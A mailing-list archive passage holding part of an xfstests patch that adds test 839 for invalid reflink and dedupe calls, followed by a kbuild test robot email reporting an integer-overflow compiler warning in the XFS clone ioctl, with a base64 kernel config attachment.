+seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_test +_require_scratch +_require_scratch_reflink +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_xfs_io_command "dedupe" + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR1=$TEST_DIR/test-$seq +rm -rf $TESTDIR1 +mkdir $TESTDIR1 + +TESTDIR2=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR2 +mkdir $TESTDIR2 + +echo "Create the original files" +BLKSZ="$(stat -f $TESTDIR1 -c '%S')" +BLKS=1000 +MARGIN=50 +SZ=$((BLKSZ * BLKS)) +FREE_BLOCKS0=$(stat -f $TESTDIR1 -c '%f') +NR=4 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR1/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $SZ" $TESTDIR2/file1 >> $seqres.full +sync + +echo "Try cross-device reflink" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 0 0 $BLKSZ" $TESTDIR2/file1 +echo "Try cross-device dedupe" +$XFS_IO_PROG -f -c "dedupe $TESTDIR1/file1 0 0 $BLKSZ" $TESTDIR2/file1 + +echo "Try unaligned reflink" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 37 59 23" $TESTDIR1/file2 +echo "Try unaligned dedupe" +$XFS_IO_PROG -f -c "dedupe $TESTDIR1/file1 37 59 23" $TESTDIR1/file2 + +echo "Try overlapping reflink" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 0 0 $BLKSZ" $TESTDIR1/file1 +echo "Try overlapping dedupe" +$XFS_IO_PROG -f -c "dedupe $TESTDIR1/file2 0 0 $BLKSZ" $TESTDIR1/file2 + +echo "Try reflink past EOF" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 $(( (BLKS + 1000) * BLKSZ)) 0 $BLKSZ" $TESTDIR1/file1 +echo "Try dedupe past EOF" +$XFS_IO_PROG -f -c "dedupe $TESTDIR1/file2 $(( (BLKS + 1000) * BLKSZ)) 0 $BLKSZ" $TESTDIR1/file2 + +chattr +i $TESTDIR1/file1 $TESTDIR1/file2 +echo "Try reflink on immutable files" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 0 0 $BLKSZ" $TESTDIR1/file2 > $seqres.full +echo "Try dedupe on immutable files" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 $BLKSZ $BLKSZ $BLKSZ" $TESTDIR1/file2 > $seqres.full +chattr -i $TESTDIR1/file1 $TESTDIR1/file2 + +echo "Reflink two files" +$XFS_IO_PROG -f -c "reflink $TESTDIR1/file1 0 0 $BLKSZ" $TESTDIR1/file2 > $seqres.full +$XFS_IO_PROG -f -c "reflink $TESTDIR2/file1 0 0 $BLKSZ" $TESTDIR2/file2 > $seqres.full +echo "Dedupe two files" +$XFS_IO_PROG -f -c "dedupe $TESTDIR1/file1 $BLKSZ $BLKSZ $BLKSZ" $TESTDIR1/file2 > $seqres.full +$XFS_IO_PROG -f -c "dedupe $TESTDIR2/file1 $BLKSZ $BLKSZ $BLKSZ" $TESTDIR2/file2 > $seqres.full + +lsattr -l $TESTDIR1/ | _filter_test_dir +lsattr -l $TESTDIR2/ | sed -e "s,$SCRATCH_MNT,SCRATCH_MNT,g" + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/839.out b/tests/generic/839.out new file mode 100644 index 0000000..542a5b3 --- /dev/null +++ b/tests/generic/839.out @@ -0,0 +1,30 @@ +QA output created by 839 +Format and mount +Create the original files +Try cross-device reflink +XFS_IOC_CLONE_RANGE: Invalid cross-device link +Try cross-device dedupe +dedupe: Invalid cross-device link +Try unaligned reflink +XFS_IOC_CLONE_RANGE: Invalid argument +Try unaligned dedupe +dedupe: Invalid argument +Try overlapping reflink +XFS_IOC_CLONE_RANGE: Invalid argument +Try overlapping dedupe +dedupe: Invalid argument +Try reflink past EOF +XFS_IOC_CLONE_RANGE: Invalid argument +Try dedupe past EOF +dedupe: Invalid argument +Try reflink on immutable files +/mnt/test-839/file2: Permission denied +Try dedupe on immutable files +/mnt/test-839/file2: Permission denied +Reflink two files +Dedupe two files +TEST_DIR/test-839/file1 --- +TEST_DIR/test-839/file2 --- +SCRATCH_MNT/test-839/file1 --- +SCRATCH_MNT/test-839/file2 --- +Check scratch fs diff --git a/tests/generic/group b/tests/generic/group index 353e23c..daaf23a 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -245,3 +245,4 @@ 836 auto quick clone 837 auto quick clone 838 auto quick clone +839 auto quick clone From fengguang.wu@intel.com Wed Oct 7 00:14:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E05D429F34 for ; Wed, 7 Oct 2015 00:14:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 42525AC007 for ; Tue, 6 Oct 2015 22:14:18 -0700 (PDT) X-ASG-Debug-ID: 1444194855-04cbb03f140dc80001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id VqW8ApEzEvmd6PQJ for ; Tue, 06 Oct 2015 22:14:15 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from orsmga002.jf.intel.com ([10.7.209.21]) by orsmga103.jf.intel.com with ESMTP; 06 Oct 2015 22:14:15 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,647,1437462000"; d="gz'50?scan'50,208,50";a="821040977" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by orsmga002.jf.intel.com with ESMTP; 06 Oct 2015 22:14:13 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1Zjh3B-000GXE-AS; Wed, 07 Oct 2015 13:14:01 +0800 Date: Wed, 7 Oct 2015 13:13:13 +0800 From: kbuild test robot To: "Darrick J. Wong" Cc: kbuild-all@01.org, david@fromorbit.com, darrick.wong@oracle.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 51/58] xfs: add clone file and clone range ioctls Message-ID: <201510071332.rfHn5eoK%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH 51/58] xfs: add clone file and clone range ioctls MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="SUOF0GtieIMvvwua" Content-Disposition: inline In-Reply-To: <20151007050044.30457.38096.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1444194855 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header --SUOF0GtieIMvvwua Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Darrick, [auto build test WARNING on v4.3-rc4 -- if it's inappropriate base, please ignore] config: i386-randconfig-i0-201540 (attached as .config) reproduce: # save the attached .config to linux build tree make ARCH=i386 All warnings (new ones prefixed by >>): fs/xfs/xfs_ioctl.c: In function 'xfs_file_ioctl': >> fs/xfs/xfs_ioctl.c:1962:51: warning: large integer implicitly truncated to unsigned type [-Woverflow] error = xfs_ioctl_reflink(src.file, 0, filp, 0, ~0ULL); ^ vim +1962 fs/xfs/xfs_ioctl.c 1946 error = xfs_fs_eofblocks_from_user(&eofb, &keofb); 1947 if (error) 1948 return error; 1949 1950 return xfs_icache_free_eofblocks(mp, &keofb); 1951 } 1952 1953 case XFS_IOC_CLONE: { 1954 struct fd src; 1955 1956 src = fdget(p); 1957 if (!src.file) 1958 return -EBADF; 1959 1960 trace_xfs_ioctl_clone(file_inode(src.file), file_inode(filp)); 1961 > 1962 error = xfs_ioctl_reflink(src.file, 0, filp, 0, ~0ULL); 1963 fdput(src); 1964 if (error > 0) 1965 error = 0; 1966 1967 return error; 1968 } 1969 1970 case XFS_IOC_CLONE_RANGE: { --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --SUOF0GtieIMvvwua Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 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 